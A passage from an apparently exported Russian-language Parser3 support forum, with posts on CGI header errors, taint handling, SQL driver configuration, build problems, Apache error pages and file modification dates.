		|| getenv(\"REQUEST_METHOD\")) {\
		cgi = 1;\
[/code]\
\
отсюда диагноз: \
1. запустите, задав этим переменным пустые или правильные для .php значения\
2. выкинуть из головы идею скрещивать, и перейдите целиком на parser/php."
"11235","зачем нужен язык uri? затем, чтобы грязная строка попала в URI одним куском, а не рассыпалась на части.\
\
скажем, конструкция:\
[code]\
$data[Rock&Roll]\
#никогда так не делайте:\
<a href=\"page.html?data=$data\">ссылка</a>\
[/code]\
\
работать не будет. в page.html $form:data будет равно «Rock», а не тому, что вы думали.\
как правильно, написано в документации по taint.\
\
так что если вам известен весь URI целиком в том виде, в котором его надо вписать в адресную строку, чтобы увидеть необходимый ресурс, то его надо подставлять ^untaint[as-is]{его}, или, что то же самое: ^untaint{его}.\
\
непонятки, очевидно, от плохого архитектурного решения:\
решите для себя, что же вы храните в базе: \
«адрес», или \
«строку, которой сами не доверяете, и в ней надо что-то выборочно чинить».\
\
если просто «адрес», то вы его просто (as-is) и выведите.\
\
если частично неправильную строку, то откуда parser разберёт, какая часть в ней правильная, а какая нет?\
вариант: из базы достанется \
[code]http://domain.ru/page.html?data=rock&roll&param2=value2[/code]\
как тут понять, где кончается первый параметр и начинается второй?{риторический}\
\
дальше вы можете захотеть что-то сложное типа «я когда в базу буду писать объясню, что и как. а потом уже выведу as-is».\
я решил такое [b]не делать[/b], поскольку и сейчас простейшую конструкцию «этот фрагмент строки на этом языке, а этот на этом» понимают не все. а так будет на порядок сложнее.\
\
диагноз:\
* или храните конечный адрес, выводя его as-is\
* или храните куски адреса, собирая конечный адрес перед выводом. пример про town в документации про taint."
"11237","проверьте настройки outlook. возможно, там ваш админ вписал нестандартный SMTP порт, если так, расскажите об этом parser'у.\
\
если сомневаетесь в способности parser открыть соединение, проверьте дедовским методом:\
\
[code]\
C:\\> telnet mailserverIP 25\
[/code]\
скорее всего, вы увидите тот же connection failed."
"11238","когда будет не лень, убью это :)"
"11239","вот мне надо, подскажите!\
\
/home/ip/tsehauto-2000.com.ua/public_http/auto.shtml(14): 'cgi' output does not contain CGI header; exit status=254; stdoutsize=0; stdout: \"\"; stderrsize=0; stderr: \"\"\
ошибочка, а что она значит?\
в самом auto.shtml 14 строка такая:\
$cgi_file[^file::cgi[/home/ip/tsehauto-2000.com.ua/cgi/come.cgi]] \
$cgi_file.text\
т.е., я вызываю скрипт на выполнение, а он не работает. хотя на локалке работает нормально."
"11240","Передо мной стоит следующая задача:\
При загрузке сервера должна запускаться страница с авторизацией пользователя. Дальше, после авторизации, в зависимости от аккаунта пользователя ему должна загружаться соответствующая страница. Всего будет существовать 3 группы пользователей, т.е. должно быть 3 вида страниц, которые будут загружаться после авторизации. Среди них должна быть страница администратора. Так вот вопрос. Кто знаком с общими принципами построения таких сайтов? Может можете что то посоветовать? И как вообще это делается на парсер?"
"11241","в notepad теперь можно только ошибиться, сохранив не в ansi/utf-8.\
однако это надо постараться."
"11242","если не лень, взгляните на табличку ASCII кодов.\
заодно сообщите окружающим \
[code]ASCII код буквы «ы»[/code]\
\
мои соображения на эту тему можно поискать в форуме."
"11243","1. в .htaccess или конфиге веб-сервера можно написать\
[code]\
SetEnv CGI_PARSER_CONFIG /путь/к/вашему/конфигу\
[/code]\
\
в если используете .htaccess, нужно добавить\
[code]\
PassEnv CGI_PARSER_CONFIG\
[/code]\
\
2. если так кажется сложным: в каждом auto.p напишите две строчки:\
[code]\
@USE\
/../../auto.p\
[/code]"
"11244","поищите такой заголовок по форуму"
"11245","1. вероятно, вы хотели сказать /../cgi/, и просто проблема с путём.\
\
2. можно обойтись без perl вообще, используя ^math:crypt"
"11247","пожалуйста поподробнее, я недавно только начал юзать веб программирование"
"11248","1. я уже тут писал[поищите], что авторизацию крайне желательно делать стандартной. иначе вы начинаете тратить время на дублирование готового через cookie/hidden параметры, и иметь проблемы, которых могли бы не иметь.\
\
2. стандартная авторизация apache поддерживает понятие «группа пользователей» и передаёт cgi процессу переменную окружения REMOTE_USER. узнать группу уже простая задача.\
\
3. чтобы не мучаться с .htpasswd файлами, можно файлы не использовать вообще. см. \
http://www.mysql.com/downloads/download.php?file=Downloads/Contrib/mod_auth_mysql-2.20.tar.gz"
"11249","http://www.usetest.ru/parser.zip"
"11250","Как сделать форум, который может полностью работать по почте. То есть существует спец. рассылка, которая рассылает свежие темы форума при появлении, на них можно ответить по почте и ответ появится на веб-странице; можно создать тему, послав письмо по спец. формату, она тоже появится на веб-странице. То есть в форуме можно участвовать как по почте, так и через веб-страницу и они полностью взаимодействуют."
"11251","нужен ли такой прикол вообще..."
"11252","Кто-нибудь ставил parser на хостинге зенона?\
\
Пишу в .htaccess\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
И получаю на любой запрос: Неверно сконфигурирован сервер.\
\
Путь к parser3.cgi - правильный\
"
"11253","На парсере можно, но извращаться придётся достаточно.\
Лучше взять http://www.oac.uci.edu/indiv/ehood/mhonarc.html, он всё это умеет."
"11254","configure ругается на отсутствие qsort:\
[code]\
checking for qsort... no\
configure: error: No qsort library function.\
[/code]\
хотя функция в системе присутствует. Система RedHat 8.0.\
\
Никто не сталкивался?\
"
"11255","и закомментируй его проверку...\
обойдется сборка и без него ;-)"
"11256","^file::exec[] зачем исследует то, что возвращает скрипт? Выдает следующее:\
======\
X-Powered-By: PHP/4.2.3 Content-type: text/html <br /> <b>Warning</b>: Unexpected character in input: '' (ASCII=15) state=1 in <b>/users/x/x/xxx.xx/html/www/cgi-bin/parser3.cgi</b> on line <b>3079</b><br /> <br /> <b>Parse error</b>: parse error in <b>/users/x/x/xxx.xx/html/www/cgi-bin/parser3.cgi</b> on line <b>3079</b><br />\
======\
"
"11257","теперь вот ругается make:\
[code]\
Making all in main\
gmake[2]: Вход в каталог `/root/soft/parser/src/parser3/src/main'\
cd ../.. && automake --gnu src/main/Makefile\
src/main/Makefile.am: required file `./depcomp' not found\
[/code]\
"
"11258","...если я не ошибаюсь. Выдает 248 ошибку. По аналогии: если cgi[] не получает header'ы, то тоже 248 выдает. Или аналогия не уместна?\
======^file::cgi[]======\
[Tue Jan  7 17:06:17 2003] /aaa/i.html: /users/x/x/xxx.xx/html/www/aaa/i.html(6): 'cgi' output does not contain CGI header; exit status=248; stdoutsize=0; stdout: \"\"; stderrsize=0; stderr: \"\" [<no type>]\
======end ^file::cgi[]======\
- это то, что выдает cgi[] при отсутствии заголовков...\
\
а ниже - то, что выдает exec[] при попытке запустить &test_file[^file::exec[test.php4]]\
======^file::exec[test.php4]======\
Статус выполнения test.php4 - 248 (248 - это $test.status)\
$test_file.text = 0\
======end ^file::exec[test.php4]======\
\
"
"11259","Есть файл index.html такой:\
\
@auto[fn]\
$MAIN:file_name[$fn]\
\
@mtime[]\
$f[^file::stat[$file_name]]\
$f.mdate\
\
В корневом auto.p вызываем ^mtime[]\
Получаем сообщение об ошибке, а в лог-файле указание на несуществующий файл с путем примерно таким:\
/home/mydomain.ru/WWW/home/mydomain.ru/WWW/dir1/dir2/index.html\
\
То есть к полному пути до index.html добавляется еще путь до корня веб-пространства. А ожидался вывод времени модификации файла index.html\
Подскажите, если не трудно, в чем я ошибся?\
Спасибо!"
"11260","...и поборол ее (Агаву) только прописав полный путь к parser3.cgi\
\
что-то вроде:\
\
Action parsed-html /m/mydomain/cgi/parser3.cgi\
"
"11261","Честно говоря, я практически ничего не понял из твоего сообщения. Я начинающий, поэтому для меня твом слова практически ничего не значат. Можно попроще?"
"11262","Создай таблицу в которую будешь заносить данные о пользователях и форму из которой ты будешь заполнять таблицу. В форме сделай два поля \"пароль\". При отправке формы проверяй их на идентичность а потом криптуй и сохраняй как описано в документации:\
http://www.parser.ru/docs/lang/mathcrypt.htm"
"11263","В папку LIB переписываю SQL драйвер для MySQL - libparser3mysql.so\
\
При обращении к БД с сайта выдает ошибку Unhandled Exception, а логах пишет, \
\
config(0): './lib/libparser3mysql.so' driver implements API version 0х0005 not equal to 0x0003 [<notype>]\
\
Что это вообще такое и почему так происходит"
"11264","не работает со старыми SQL драйверами, скачай новые"
"11266","эту версию качал только вчера из раздела скачать, где же тогда более новая версия?\
"
"11267","Короче, скачай и новую версия парсера и новые драйвера из http://parser.ru/download/ надеюсь разберёшся что к чему."
"11268","Уважаемые гуру и монстры парсера я тут хожу вокруг матча, сильно подозреваю что он довольно большие возможности предоставляет, но использовать его пока не умею, поэтому кому не трудно растолкуйте чайнику что это такое и с чем его едят. Напрмер взять простой пример, есть ссылка http://www.moysite.ru/index.html?a=1&b=2&c=3 как из строки выделит 1, 2, 3, что бы потом присвоить их перменным?\
Заранее спасибо за ответ.\
\
З.Ы. Специально для Misha v.3 есть ли у тебя статья по режекспам ссылку (http://www.webclub.ru/materials/perl/regexp.html) на которую ты давал в форуме? "
"11269","'mysql://petr:pwd@localhost/mytable' $SQL:drivers table must be defined type: parser.runtime\
\
что от хочет?"
"11270","таблица $SQL:drivers должна быть определена тут говорится"
"11271","Конкретная задача решается на ура! и без ^str.match[] : \
[code]\
## допустим, это наш uri\
http://www.moysite.ru/index.html?a=1&b=2&c=3\
\
^form:fields.foreach[field;value]{\
        $field = $value\
}[<br />]\
[/code]\
получим\
[code]\
a = 1\
b = 2\
c = 3\
[/code]\
надеюсь, понятно? Дальше делайте с этим что хотите...\
\
^str.match[] нужен для поиска и замены определенных подстрок в тексте. Также советую просмотреть ^str.replace[] в документации."
"11272","У меня стоит\
\
$SQL[\
$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
pgsql	$sqldriversdir/libparser3pgsql.so	libpq.so\
oracle	$sqldriversdir/libparser3oracle.so	/u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACLE_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data\
}]\
]\
\
что не так?\
"
"11276","будьте добры поподробнее о хидерах"
"11277","http://tnv.pp.ru/?act=cat&id=49\
\
отсюда ссылки на скачать:\
http://tnv.pp.ru/cgi-bin/getfile.cgi?id=3099\
http://tnv.pp.ru/cgi-bin/getfile.cgi?id=3100\
\
вторая ссылка это то, что было на webclub-е."
"11278","Это явно тема другого форума.\
\
А вообще - забей. Пиши все на Парсере..."
"11280","не, ну тут затронули хидеры в cgi вот я и спрашиваю.\
у меня например есть готовый скрипт на перле, так вот на локалке он работает а при записи на сервер пишет что нет хидера в cgi\
и что делать я не знаю, вот прошу рассказать о хидерах поподробнее"
"11281","поставь Majordomo или Listserv - они под это заточены..."
"11282","Спасибо за терпение и заботу!\
Но насколько я поняла, все то что пердлагается не очень элегантно..\
Для каждого языка необходима своя html страница или свой шаблон страницы, - то есть неудобно.\
 Если я не права, то каюсь и жду опровержения!\
\
Я нашла свое решение. Пока оно мне очень нравится..."
"11283","очевидно, какие-то проблемы с датами файлов,\
заново распакуйте архив, скажите [code]touch *[/code]\
и повторите configure/make"
"11284","почитайте http://parser.ru/docs/lang/app1.htm\
с такими путями работают все функции parser, включая file::stat\
\
в auto приходит полный [b]дисковый[/b] путь. это бывает полезно.\
если вам нужен путь от веб пространства, отнимите $env:DOCUMENT_ROOT"
"11285","есть ощущение, что вы не хотите поделиться с другими?\
сейчас если страждущий придёт в форум и нажмёт «поиск»… найдёт только вашу тихую радость, и не сможет сказать вам спасибо за элегантное решение."
"11286","http://www.parser.ru/docs/lang/formfield.htm\
\
Если твой посетитель открыл ссылку http://www.moysite.ru/index.html?a=1&b=2&c=3 \
\
то внутри index.html значения a b и с можно получить так:\
\
[code]# получаем значение параметра index.html?a=\
$var_a[$form:a]\
#приводим его к числовому виду, а если параметр не задан,\
# или его значение не является числом, присваеваем ноль\
^var_a.int(0)\
\
# получаем значение параметра index.html?b=\
$var_b[$form:b]\
#приводим его к числовому виду, а если параметр не задан,\
# или его значение не является числом, присваеваем ноль\
^var_b.int(0)[/code]\
\
или ещё проще:\
\
[code]^form:fields.foreach[field;value]{ \
   $field - $value \
}[<br>][/code]\
\
\
"
"11287","Я в этом не разбираюсь, к сожалению. Замечено, что если в cgi-скрипте нет строчки\
\
print \"Content-type: text/html\\n\\n\";\
\
, то будет та самая ошибка с headers. \
"
"11289","скорее всего дело вовсе не в header, а в правах, вы прочли правила выкладывания скриптов на ваш хостинг?\
\
если видите ошибку в browser, пойдите и почитайте подробности в журнале ошибок веб-сервера, часто там написано:\
\
[code]\
«ваш скрипт не вернул правильных заголовков, а вернул вот что: xxxx»\
[/code]\
\
из этого «xxxx» вы и делаете вывод, в чём были не правы."
"11290"," Я все перенаправляю в index.html так:\
errordocument 404 /index.html\
Если с с броузера запрашиваю /fdf/fgfg/aaa.html, то все нормальноб апач перенаправляет в index. но если я запрашиваю какой нить несуществующий html в корне:\
/jkdsk.html\
то идет ошибка:\
[code]\
\
Unhandled Exception (Debug)\
read failed: No such file or directory (2), actual filename 'x:/home/tsue.uz/www/fgf.html'\
x:/home/tsue.uz/www/fgf.html\
\
user-request(1)\
exception.type=file.missing \
[/code]\
\
то есть получается апач мой запрос передает парсеру как есть. и этого не происходит тогда когда я запрашиваю несуществующий файл в несущесвующей папке: /bla/bla/hhh.html. И тогда когда я запрашиваю файл не с html расширением то апач перенаправлет в index.html(работает правильно).\
htaccess:\
[code]\
AddHandler parsed-html html \
#Action parsed-html /cgi-bin/parser3/parser3.cgi\
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files> \
\
ErrorDocument 404 /index.html\
[/code]\
помогите пожалуйста\
"
"11291","[code]\
$myVar[^taint[js][$myVar]]\
^taint[as-is][\
	<p>some text</p>\
	<img href=\"/i/img.gif\" onclick=\"doFunction($myVar)^;\">\
]\
[/code]\
Вот такой код. Проблема в том, что преобразование $myVar внутри второго блока ^taint[...][...] не выполняется, а надо бы. Подскажите пожалуйста как правильно to handle the problem?"
"11292","...результат будет черного цвета.\
\
читай про taint/untaint"
"11293","единственно что ему в глупу голову пришло было:\
[code]\
$myVar[^taint[js][$myVar]]\
^taint[as-is][\
	<p>some text</p>\
	<img href=\"/i/img.gif\" onclick=\"doFunction(]$myVar^taint[as-is][)^;\">\
]\
[/code]\
\
Из ит the only way?"
"11294","Попруй его - он красит только некрашенное ;-)"
"11295","Зачем внешний taint?\
\
Внтренний taint в таком случае не работает вообще.\
Зачем какиу-то лишние телодвижения?\
Почему taint а не untaint в данном случае?\
Откуда приходят данные?\
\
Почему не хочется сделать так:\
[code]\
$myVar[^taint[js][$myVar]]\
<p>some text</p>\
<img href=\"/i/img.gif\" onclick=\"doFunction($myVar)^;\">\
[/code]"
"11296","В данном конкретном примере это заработает, но тут налицо полное непонимание используемых механизмов.\
\
Зачем использовать что-то что не понятно как работает?\
\
Никому-же не приходит в голову набирать просто так в командной строке отличную (когда она используется к месту) команду format c: ?\
\
Не раз писали: по умолчанию в парсере все хорошо, он все сделает сам: не даст навредить и испортить код. Если нужно иное - почитайте два абзаца и сделайте именно то, что нужно. Ну зачем в приведенном примене красить буковки, которые сам-же написал в тебе странички?\
\
[b]some text[/b] в приведенном примере очень абстрактная величина, т.к. совершенно непонятно где она получается и как. Соответственно совершенно не ясно что хотят с ней сделать.\
\
Да и ^untaint[as-is]{} вместо ^taint[as-is][] будет работать лишь в том случае, если при формировании этого some text не использовался taint[что-то]..."
"11297","или совсем тривиально так…\
[code]\
<p>some text</p>\
<img href=\"/i/img.gif\" onclick=\"^untaint[js]{doFunction($myVar)^;}\">\
[/code]\
\
я, собственно, задумывал, что будут так использовать.\
идея проста — мы обозначаем язык некоторого места:\
[b]в этом месте[/b] javascript, обозначаем [b]в этом месте[/b] язык."
"11300","Но сказал это слишком криво, обще и без примера. ;-)))"
"11302","У меня есть пара тысяч строк кода, - вперемешку java-script и html. Если я не ставлю внешний taint к этому коду то возникают многочисленные ошибки java-script. Вот собственно и всё. Таким нехитрым образом просто пытаюсь избежать необходимости править лишний раз чужой код.\
\
Кстати ещё вопрос: ^taint[sql][...] работает только при установленном подключении?"
"11303","Надо сделать вот такую штуку:\
есть строка с непечатными символами. При выводе надо их заменить на '<br>'\
Как такое можно сделать?"
"11304","О!\
Я осознал!\
Нужно воспользовться регулярными выражениями. Только вот не умею. Не будет ли кто-нибудь так любезен...:\
есть строка str\
требуется получить строку str, у которой все chr(31) будут заменены на 'br'\
Заранее признателен!"
"11305","...но, кажется, вот так\
[code]\
^str.match[\\x31][gi]{br}\
[/code]\
в крайнем случае жуй, пока не заработает..."
"11306","Ну а дальше - RTFM.\
1. replace\
2. строковые литералы"
"11307","если не сложно, не могли бы Вы дать конкретный пример или скинуть файлы по почте?"
"11308","строка print \"Content-type: text/html\\n\\n\"; имеется в cgi файле и все равно идет ошибка упоминающая хидер"
"11309","$repl[^table::create[nameless]{^taint[^#0A]	<br/>}]\
\
$buffer[^buffer.replace[$repl]]"
"11310","на данный момент хостер не может предоставить логи и я не могу просмотреть в чем ошибка. а при обработке скрипта выдается ошибка о хидере"
"11311","br вставились, но не вместо, а после"
"11312","да, апач поступает просто - если html-документу назначен handler, то запрос передаётся ему как есть, и дальше его обработка перестаёт быть проблемой апача. Собсно, апач полагает, что handler умный, и сам справится с ситуацией, и полагает не без оснований.\
\
Открываем http://www.parser.ru/docs/lang/parserexceptions.htm и видим, что среди обрабатываемых парсером типов ошибок есть и file.missing...\
\
Просим парсер отдать заголовок http 200 ok а не http 404 not found и редиректим пользователя на /index.html изнутри метода @unhandled_exception (http://www.parser.ru/docs/lang/exceptionunhandled.htm), который описан в auto.p... Всё! "
"11313","$str[${docs.item}]\
$rep[^table::create[nameless]{^#31 <br>}]\
^str.replace[$rep]\
$str\
\
unhandled exception\
в логе:Array::get(1) out of range [0..0] [<no type>]\
\
чиво делать-то? :-)"
"11314","хостера, которые не может предоставить вам ваши собственные логи надо гнать в шею.\
\
если вы зальёте perl файл с PC переносами строк (0x0D 0x0A), в первой строке которого написано\
[code]\
#!/usr/bin/perl\
[/code]\
\
вы… сюрприз: получите вообще сообщение об отсутствии файла.\
так что посмотрите сначала в логи, прежде чем биться головой о стену."
"11316","то файл в несуществующем каталоге должен бы тоже передаваться обработчику, что сейчас не так.\
\
в IIS есть на эту тему [x] Check that file exists, что выглядит куда логичнее.\
\
мы уже используем точно такое решение.\
впрочем, всегда есть варианты, и они могут кому-то показаться удобнее: можно написать такой rewrite rule, который сам перенаправит запрос куда угодно, если файла нет."
"11317","$form:qtail \
\
строка со значением текста после второго \"?xxxxx\", если там не было ',' [imap]\
\
$form:imap\
хэш с ключами 'x' и 'y' со значением ?1,2 приписки при использовании server-site image map"
"11318","Поставил Парсер, запустил, все вроде runing...\
\
Сделал все как в уроке№1 - и ничего не работает.\
когда запуская индекс.хтмл просто показывает слово @navigation[] и все...\
\
Не скажите почему?"
"11320","Последовательность cr/lf это #10#13, если я не ошибаюсь\
В моём случае там не они.\
Помимо 31 встречается ещё 30"
"11321","почему, если в моем примере из auto пришло хорошее имя файла вместе с дисковым путем, и я подставил это значение в file::stat, почему file::stat думает, что я даю ему \"чистое\" имя файла, без пути - и дописывает этот путь еще раз?\
Логично ли это, раз \"с такими путями работают все функции parser, включая file::stat\" (как Вы пишете)?\
\
"
"11322","да наверняка я упустила что-то..\
нет, я не жадная, могу поделиться, только это все лежит на поверхности. (боюсь показаться ужасно глупой..)\
 .xml-файлу можно передавать параметры через командную\
строку. это раз. и это все. \
к примеру, есть у нас 1.xml:\
\
<caption>\
 <en>WWW</en>\
 <rus>ЦЦЦ</rus>\
</caption>\
\
или так:\
<caption en=\"WWW\" rus=\"ЦЦЦ\"/>\
\
получив параметр, определяющий язык, можно сделать xsl:choose...\
вобщем, один шаблон для всех языков. не знаю, может это и не хорошо..\
только я не пойму, как бы обойтись без xsl:choose?\
чтобы написать <xsl:value-of select=\" а тут подставить то что надо\"/>\
\
Если мне никто не ответит, я обижусь.."
"11323","FreeBSD 4.0\
\
1. сделал configure - все ок\
2. make ругается: pa_common@OBJEXT@\
\
под 4.0 не собирается или я что-то нитак делал?"
"11324","...и найти мое сообщение, в теле(или названии) есть слово replace...\
\
...а можно почитать фак... это уже давно там, я просто сам уже забыл про это..."
"11326","1. есть аттрибут, именумый xml:lang\
2. есть функция lang(), которая дает true/false в зависимости от того, совпадает ли ее аргумент со значением xml:lang данной ноды.\
3. как отмечено выше - можно передать параметр\
\
Имеем:\
[code]<caption>\
<content xml:lang=\"ru\">Заголовок</content>\
<content xml:lang=\"en\">Title</content>\
</caption>[/code]\
Тогда просто трансформим по параметру:\
[code]<xsl:apply-templates select=\"content[lang($langParam)]\" />[/code]\
ну или типа того..."
"11327","...но я их так ставил, посмотреть, поэтому сильно не загружался."
"11328","Вот решение этой задачи, кто может улучшить, или исправить ошибки - буду благодарен!\
\
В файл, время изменения которого надо вывести пишем (если еще нет):\
\
@auto[filespec]\
$MAIN:file_name[$filespec]\
\
В переменной file_name появится имя текущего файла.\
В том месте, где надо вывести время его изменения пишем что-то вроде:\
\
$current_file[^file::stat[^file:basename[$file_name]]]\
<br>Файл <b>$file_name</b> изменен ^eval(${current_file.mdate.day})[%02u].^eval(${current_file.mdate.month})[%02u].${current_file.mdate.year} в ^eval(${current_file.mdate.hour})[%02u]:^eval(${current_file.mdate.minute})[%02u]\
\
Формат вывода меняйте сами, это уже другая задача..."
"11329","вы так и не пошли, и ничего не почитали = так и не поняли, с какими «такими» работают все функции parser.\
\
пойдите и почитайте."
"11330","к разговору:\
очевидно, вы хотите вывести в каждом документе дату его модификации.\
имейте в виду, что @auto[filespec] приходит того файла, в котором этот @auto написан.\
\
исходя из того, что вы вряд ли захотите писать в [b]каждом[/b] своём файле эту ерунду, советую пересмотреть исхочник имени файла.\
\
варианты: \
[code]\
$request:uri\
$env:PATH_INFO\
[/code]"
"11331","PAF = Philippian Air Forces"
"11332","нашим клиентам такое не нужно было, если нужно вашим, пока только через запуск внешней программы.\
\
напишите на perl/чём_любите, и exec-попросите отправить."
"11333","там старый automake странные makefiles сочиняет. возьмите из cvs.\
\
скоро перейду на последние auto*, со следующей версией и в download будут лежать более вразумительные Makefile-s."
"11334","Вопрос по форуму:\
Пытаюсь ввести зарегистрированное имя (vadbars) и пароль (не скажу какой :-) - форум молча перезагружается и непонятно, принята ли регистрация. [Зарегистрирован и получаю сообщения с форума по почте]\
Предлагаемой формочкой для получения нового пароля пользуюсь - ответ, что такого пользователя/пароля не существует.\
Подскажите, что делать?\
"
"11335","Вопрос уже поднимался, но вразумительно ответа получить не удалось. Почему form-параметры, переданные несуществующей странице, не наследует файл, который прописан в errorDocument? В php все чудесным образом работает. Ожидается ли такая поддержка в Парсере?"
"11336","Если бы я не пошел и не почитал, то ответил бы в ту же минуту. А я, пардон, целый день (с отрывом на работу:-) читал ваши доки. Результат: решение, которое меня на первое время устраивает\
\
http://parser.ru/forum/?id=11328\
\
P.S. Я новичок, и не только здесь, мне трудно вникать в некоторые вопросы, и предполагать (Вам), что я не добросовестно изучаю вашу разработку, по меньшей мере, некорректно. Простите за оффтопик."
"11337","Большое спасибо! Все классно работает! =) Рульная вещь - Парсер! Спасибо! =) Процветания вашему продукту!"
"11338","$request:uri возвращает не только путь и имя, но и параметры запроса. \"Выковыривать\" из всего этого \"чистое\" имя файла я пока не умею, кроме того, мне кажется, что это будет слишком сложная конструкция. Я ошибаюсь?\
\
А писать \"эту ерунду\" в каждом файле, действительно, не хочется!\
\
Буду учиться дальше..."
"11340","Есть некоторые причины, которые могут быть виной тому, что у тебя что-то не получается. Объяснять долго. :)"
"11341","Проблема была довольно частного характера, не думаю, что решение может быть еще кому-то полезно..."
"11342","тогда вы бы увидели, что внутри parser все функции работают с путями, относительными текущего запрашиваемого документа, а / считается корень веб-пространства.\
\
отсюда [code]^file::load[binary;/usr/bin/perl][/code] будет воспринят как /path/to/webspace/usr/bin/perl, и это feature.\
\
я не понимаю, почему на вопрос «а воткнули ли вы принтер в розетку» вы говорите «я дипломированный инженер», если принтер до сих пор без питания."
"11343","что там «чудесно работает» мне неизвестно.\
если apache не передаёт cgi процессу что нужно, cgi процесс с этим поделать ничего не может.\
\
если у вас какие-то сомнения, назначьте handler'ом своих файлов printenv, и посмотрите, что там за query_string.\
\
мне сейчас недосуг экспериментировать. [b]возможно[/b] там имеется REDIRECT_QUERY_STRING, если так, дайте знать."
"11344","в исходниках php в виде cgi нет никаких отличий в этом вопросе от parser. возможно, вы смотрите на mod_php.\
ошибочно сравнивать возможности cgi и mod_ версии чего-бы то ни было."
"11345","подскажите кто нить что нужно вставить в cgi файл, чтобы при любой ошибке шла запись в какой нить файл о ошибке?"
"11346","В корневом auto.p пишем функцию (см.ниже) mtime. В файле, время изменения которого требуется показать вызываем ее; ^mtime[]\
\
Такой подход имеет недостатки: 1) при обращении к индексной странице без указания имени файла, например http://www.mydomain.ru/news/ будет показано время изменения не файла http://www.mydomain.ru/news/index.html (или кто там у вас индексный...), а время изменения самой директории /news/\
2) разбиение строки uri на части относительно знака вопроса, вероятно, не лишено недостатков...\
\
### Кто проверит мое решение? ###\
\
Спасибо!\
\
#==============Получение времени изменения файла==============\
@mtime[]\
\
#Получаем URI запроса\
$str[$request:uri]\
\
#Разбиваем запрос на части: до знака ? имя файла, после - параметры запроса\
$parts[^str.lsplit[?]]\
\
#Получаем первую (нулевую) строку таблицы, содержащую имя файла и путь без параметров запроса\
^parts.offset[set](0)\
$file_name[$parts.piece]\
\
#Далее по тому же сценарию, что и в предыдущем решении...\
$current_file[^file::stat[$file_name]]\
<br>Файл <b>$file_name</b> изменен ^eval(${current_file.mdate.day})[%02u].^eval(${current_file.mdate.month})[%02u].${current_file.mdate.year} в ^eval(${current_file.mdate.hour})[%02u]:^eval(${current_file.mdate.minute})[%02u]\
"
"11347","Этот вариант представляется более коротким, понятным и простым - следовательно надежным. Единственный \"затык\" - опора на переменные окружения сервера. Из этого следует, что при использовании других платформ могут возникнуть проблемы.\
\
Я прав?\
\
#==============Получение времени изменения файла==============\
@mtime[]\
\
#Получаем URI запроса и выделяем из него \"чистое имя файла\"\
$file_name[^file:basename[$env:PATH_INFO]]\
\
#Далее по тому же сценарию...\
$current_file[^file::stat[$file_name]]\
<br>Файл <b>$file_name</b> изменен ^eval(${current_file.mdate.day})[%02u].^eval(${current_file.mdate.month})[%02u].${current_file.mdate.year} в ^eval(${current_file.mdate.hour})[%02u]:^eval(${current_file.mdate.minute})[%02u]\
"
"11348","...серверных и Парсеровских логов не хватает? Обычно, все туда пишется.\
\
Если же хочется прикрутить уникальную лог-абельность к определенному скрипту, отлавливай ошибки и пиши инфу о них в свой лог файл. Как ловить ошибки читай в доке."
"11349","переменная PATH_INFO является переменной CGI, и от сервера не зависит - будет работать на всех стандартных."
"11350","есть такая конструкция\
------------\
^spo.menu{\
	^if($spo.name==андрей){\
	<tr><td>$spo.departure</td>\
</tr>\
	}{\
}\
---------------\
как записать слово \"андрей\", чтобы можно было с ним сравнивать значение переменной?"
"11352","Люди, прошу, объясните, что это значит, а еще лучше, как это решить:\
\
'mysql://dima:123@localhost/p3test' $SQL:drivers table must be defined\
\
(при работе с уроком №4 -- запись в базу)\
\
Пользуюсь ИИС 5,1 и сервером MySQL\
\
Заранее благодарен."
"11353","написал\
^if($spo.name eq.андрей){\
\
ничего не получилось, напишите пожалуйста, как надо\
"
"11354","Кто-то не читал документацию совсем.\
Ее _надо_ прочитать.\
А RTFM и означает Resd This F** Manual (читай доку)"
"11355","Положи его туда, где парсер лежит, или в корень."
"11356","если там это есть, то наверно написано самым маленьким шрифтом,\
все облазил :-("
"11357","хм... дело в том, что про метод конф там ничего не написано. я его в справочнике видел, но не доконца понял... не могли бы вы чуть подробнее расписать, что нужно делать? Спасибо в любом случае!"
"11358","все, разобрался :-)"
"11359","В документации - целая глава про это (http://www.parser.ru/docs/lang/parserconfig.htm и детка).\
Что делать, я вроде бы сказал постом выше - положить auto.p, что идет в поставке парсера (если не скачан - [url=http://www.parser.ru/f/1/download/win32/parser3conf_20020919_win32.zip]скачать[/url]), туда, где лежит сам парсер или, если и это не поможет, положить в корень сервера."
"11361","Спасибо, помогло"
"11362","Спасибо, видимо я по невнимательности что-то и упустил. А вы что, круглосуточно работаете? =)"
"11364","Тоесть вы сутками сидите в студии Лебедева? Можно узнать еще, классно ли работать у Артемия или он уж очень требователен к персоналу? =) Хотя, конечно, к Парсеру это никак не относится... ;-)"
"11365","хотя как показывает практика всегда есть недокументриованные возможности, о которых мона узнать тока из форума...ну или исходники читать..."
"11366","Люди. Пример может быть и простой, но я что-то не соображу как, не поможете ли?\
Дело вот в чем.\
Есть таблица.\
\
id	time	nickname	text\
30828 15:46:43 OK 123 \
30828 15:50:08 OK Привет всем \
30828 15:50:19 OK ааа \
21839 16:53:58 123 HI \
21839 16:55:49 123 Привет \
22704 19:30:53 Demon 1 \
22704 19:30:56 Demon 2 \
22704 19:30:58 Demon 3 \
22704 19:31:00 Demon 4 \
22704 19:31:02 Demon 5 \
22704 19:31:05 Demon 6 \
22704 19:31:07 Demon 7 \
22704 19:31:09 Demon 8 \
22704 19:31:11 Demon 9 \
22704 19:31:12 Demon   \
22704 19:31:15 Demon 10 \
22704 19:31:20 Demon 1 \
22704 19:31:21 Demon 2 \
22704 19:31:24 Demon 3 \
22704 19:31:25 Demon 4 \
22704 19:31:27 Demon 5 \
22704 19:31:32 Demon 67 \
22704 19:31:34 Demon 8 \
22704 19:31:37 Demon 5345 \
\
Ну и так далее. Обычний ЧАТ.\
\
Нужно сделать запрос, чтобы он брал 20 последних пока(по времени) строк в независимости от того как они распологаются в таблице и выдовал их в порядке(от меньшего к большему по времени).\
Я не соображу как, пишу:\
